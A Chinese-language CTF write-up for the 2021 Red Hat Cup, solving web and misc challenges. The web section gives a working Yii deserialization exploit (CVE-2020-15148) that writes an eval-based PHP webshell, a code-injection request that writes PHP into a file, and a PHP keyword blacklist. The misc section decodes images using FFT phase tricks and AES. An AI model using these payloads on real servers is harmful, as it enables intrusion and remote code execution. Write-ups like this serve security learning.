红帽杯

WEB

find_it

Analyze

打开是一个tutum的站,但是网上搜了一圈没啥东西,扫描找到rebots.txt

When I was a child,I also like to read Robots.txt

Here is what you want:1ndexx.php

需要我们看1ndexx.php文件,直接访问是502,然后各种备份扫了一遍,找到备份文件.1ndexx.php.swp

<?php $link = mysql_connect('localhost', 'root'); ?>
<html>
<head>
    <title>Hello worldd!</title>
    <style>
    body {
        background-color: white;
        text-align: center;
        padding: 50px;
        font-family: "Open Sans","Helvetica Neue",Helvetica,Arial,sans-serif;
    }

    #logo {
        margin-bottom: 40px;
    }
    </style>
</head>
<body>
    <img id="logo" src="logo.png" />
    <h1><?php echo "Hello My freind!"; ?></h1>
    <?php if($link) { ?>
        <h2>I Can't view my php files?!</h2>
    <?php } else { ?>
        <h2>MySQL Server version: <?php echo mysql_get_server_info(); ?></h2>
    <?php } ?>
</body>
</html>
<?php

#Really easy...

$file=fopen("flag.php","r") or die("Unable 2 open!");

$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));


$hack=fopen("hack.php","w") or die("Unable 2 open");

$a=$_GET['code'];

if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
    die("you die");
}
if(strlen($a)>33){
    die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);

fclose($file);
fclose($hack);
?>

稍微审计得到这个其实是首页,其中会写入code的请求到hack.php,看看phpinfo结果直接找到flag

/?code=<?php phpinfo();然后访问hack.php

image-20210509112401278

flag

    flag{a96b9b00-fe0b-4351-9d3f-6b72bea7f883}

framework

Analyze

打开是一个Yii的站,百度搜了下相关漏洞后尝试了一下CVE-2020-15148去读phpinfo,结果真成了。。。

image-20210509172436964

然后尝试RCE,其中发现system给ban了...得想方法绕

于是先写了个马上去,poc为:

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
 
        public function __construct(){
            $this->checkAccess = 'assert';
            $this->id = 'file_put_contents("/var/www/html/web/1.php","<?php eval(\$_POST[attack]);");';
            // $this->checkAccess = 'phpinfo';
            // $this->id = '1';
        }
    }
}
 
namespace Faker{
    use yii\rest\CreateAction;
 
    class Generator{
        protected $formatters;
 
        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}
 
namespace yii\db{
    use Faker\Generator;
 
    class BatchQueryResult{
        private $_dataReader;
 
        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

然后蚁剑链接,发现还是没有办法操作

image-20210509172830649

于是用插件

image-20210509172904670

选择第三种模式给绕过了,执行readflag得到flag

image-20210509172944113

image-20210509173004799

flag

flag{6810dd91-f5a6-44ef-b549-d310935198c8}

MISC

签到

Analyze

EBCDIC编码即可

image-20210509112755934

flag

flag{we1c0me_t0_redhat2021}

colorful code

Description

colorful code is beautiful, isn't it?

最终得到flag的格式中加上flag{}包裹再提交

Analyze

一共有data1和data2,data1全部为可见字符

观察后发现data1最小值为0,最大值为19,中间包含了20个数字,同时发现data2之前的数字不正常image-20210509145331926

且一共有60个数据,其可能为3个为一组的RGB值,然后根据data1来画图,书写脚本得到图片

from PIL import Image
a = open('data1','r').read().split(' ')[:-1]
print(len(a))
b = open('data2','rb')
R = []
G = []
B = []
for i in range(20):
    rgb = str(b.read(3)).replace('b','').replace('\'','').split('\\x')[1:]
    R.append(rgb[0])
    G.append(rgb[1])
    B.append(rgb[2])
# R = str(b.read(20)).replace('b','').replace('\'','').split('\\x')[1:]
# G = str(b.read(20)).replace('b','').replace('\'','').split('\\x')[1:]
# B = str(b.read(20)).replace('b','').replace('\'','').split('\\x')[1:]
print(R,G,B)
# print(len(dic))
# np = Image.new('RGB',(191,37))
np = Image.new('RGB',(37,191))
for i in range(len(a)):
    # print(int(R[int(a[i])],16))
    
    data = (int(R[int(a[i])],16),int(G[int(a[i])],16),int(B[int(a[i])],16))
    # nnp = Image.new('RGB',(5,5),data)
    # np.paste(nnp,(i%191*5,i//191*5))
    np.putpixel((i//191,i%191),data)
np.save('r.png')

res2

这种图片已经很多见了,为npiet的图片编程语言,BertNase's Own - npiet fun!可以直接解得到flagimage-20210509145856498

flag

flag{88842f20-fb8c-45c9-ae8f-36135b6a0f11}

PicPic

Description

你想成为CV大师嘛?

Analyze

文件有个加密rar和一组文件,有一个creat.py

import os
import cv2
import struct
import numpy as np


def mapping(data, down=0, up=255, tp=np.uint8):
    data_max = data.max()
    data_min = data.min()
    interval = data_max - data_min
    new_interval = up - down
    new_data = (data - data_min) * new_interval / interval + down
    new_data = new_data.astype(tp)
    return new_data


def fft(img):
    fft = np.fft.fft2(img)
    fft = np.fft.fftshift(fft)
    m = np.log(np.abs(fft))
    p = np.angle(fft)
    return m, p


if __name__ == '__main__':
    os.mkdir('m')
    os.mkdir('p')
    os.mkdir('frame')
    os.system('ffmpeg -i secret.mp4 frame/%03d.png')

    files = os.listdir('frame')
    r_file = open('r', 'wb')

    for file in files:
        img = cv2.imread(f'frame/{file}', cv2.IMREAD_GRAYSCALE)

        m, p = fft(img)
        r_file.write(struct.pack('!ff', m.min(), m.max()))

        new_img1 = mapping(m)
        new_img2 = mapping(p)

        cv2.imwrite(f'm/{file}', new_img1)
        cv2.imwrite(f'p/{file}', new_img2)

    r_file.close()
    os.system('ffmpeg -i m/%03d.png -r 25 -vcodec png 1.mkv')
    os.system('ffmpeg -i p/%03d.png -r 25 -vcodec png 2.mkv')

大概意思是说将一个mp4按帧分解,得到的图片分别分成幅值图与相位图,然后将图片再重组成mkv

这里我们先将mkv还原成图片 ffmpeg -i 1.mkv -y m/%03d.png ffmpeg -i 2.mkv -y p/%03d.png

然后得到的图片根据源代码来解密,数据都已经给了r就是打包后幅值的最大值与最小值,解包就可以得到,而相位的最大值最小值即为-Π到Π,然后根据傅里叶变换原理,cos为相位的实值,sin为相位的虚值,所以我们要得到原来的傅里叶数据还需要幅值与相位的sin,cos相乘,即可得到原来的傅里叶值,再对傅里叶进行反变换即可得到原数据,据此写下脚本:(我就是不用cv2,欸,就是玩儿)

import os
import cv2
import struct
import numpy as np
from PIL import Image

def mapping(data, down=0, up=255, tp=np.uint8):
    data_max = data.max()
    data_min = data.min()
    interval = data_max - data_min
    new_interval = up - down
    new_data = (data - data_min) * new_interval / interval + down
    new_data = new_data.astype(tp)
    return new_data

a = open(r'challenge 1\r','rb')
files = os.listdir(r'challenge 1\m')
for file in files:
    m = np.array(Image.open(r'challenge 1\m\\'+file).convert('L'))
    p = np.array(Image.open(r'challenge 1\p\\'+file).convert('L'))
    r = struct.unpack('!ff',a.read(8))
    Min = float(r[0])
    Max = float(r[1])

    m = m.astype(np.float64)
    p = p.astype(np.float64)
    
    m = mapping(m,Min,Max,np.float64)
    p = mapping(p,-np.pi, np.pi,np.float64)

    m = np.exp(m)

    fft = (m*np.cos(p)) + (m * np.sin(p) * 1j)
    fft = np.fft.ifftshift(fft)
    img = mapping(np.fft.ifft2(fft))

    Image.fromarray(img).save(r'challenge 1\frame/'+file)

据此得到200张图片,其中加密rar的密码的图片在最后

200

解压rar,开始第二层

上了两张图和一个mathml的hint

hint为:

QQ截图20210509134755

其大概意思是将图片的相位互换,这个信号与系统有个专有名词叫啥俺给忘了-。-,写个脚本可以得到一个二维码

from PIL import Image
import numpy as np

def mapping(data, down=0, up=255, tp=np.uint8):
    data_max = data.max()
    data_min = data.min()
    interval = data_max - data_min
    new_interval = up - down
    new_data = (data - data_min) * new_interval / interval + down
    new_data = new_data.astype(tp)
    return new_data

def fft(img):
    fft = np.fft.fft2(img)
    fft = np.fft.fftshift(fft)
    m = np.abs(fft)
    p = np.angle(fft)
    return m.astype(np.float64), p.astype(np.float64)

pic1 = np.array(Image.open(r'next_challenge\challenge 2\mix1.png').convert('L'))
pic2 = np.array(Image.open(r'next_challenge\challenge 2\mix2.png').convert('L'))
m1,p1 = fft(pic1)
m2,p2 = fft(pic2)
fft1 = m1*np.cos(p2) + m1 * np.sin(p2)*1j
fft2 = m2*np.cos(p1) + m2 * np.sin(p1)*1j
np1 = mapping(np.abs(np.fft.ifft2(fft1)))
np2 = mapping(np.abs(np.fft.ifft2(fft2)))

Image.fromarray(np1).save(r'next_challenge\challenge 2\res1.png')
Image.fromarray(np2).save(r'next_challenge\challenge 2\res2.png')

res1

扫描后得到0f88b8529ab6c0dd2b5ceefaa1c5151aa207da114831b371ddcafc74cf8701c1d3318468d50e4b1725179d1bc04b251f

一串十六进制,先不管,继续最后一个

最后一个只有一张图,其文件名为phase,也就是相位。所以应该是单纯的相位图,而傅里叶告诉了我们,幅值只是图片的强弱,而相位图可以存储图片的轮廓,所以我们只要知道轮廓就行,幅值就统一即可。据此写出脚本:

from PIL import Image
import numpy as np
def mapping(data, down=0, up=255, tp=np.uint8):
    data_max = data.max()
    data_min = data.min()
    interval = data_max - data_min
    new_interval = up - down
    new_data = (data - data_min) * new_interval / interval + down
    new_data = new_data.astype(tp)
    return new_data
pic = np.array(Image.open(r'next_challenge\final challenge\phase.png').convert('L'))
p = mapping(pic,-np.pi, np.pi, np.float64 )
fft = np.exp(p*1j)
p = np.fft.fftshift(fft)
img = mapping(np.abs(np.fft.ifft2(p)))
Image.fromarray(img).save(r'next_challenge\final challenge\res.png')

得到图片:

res

为aes密钥:a8bms0v4qer3wgd67ofjhyxku5pi1czl

然后最后一步就算他的十六进制为密文解密的AES,我们先把十六进制转字符然后base64,最后放进工具网站一把梭得到flag

image-20210509155820517

image-20210509155830797

flag

flag{1ba48c8b-4eca-46aa-8216-d164538af310}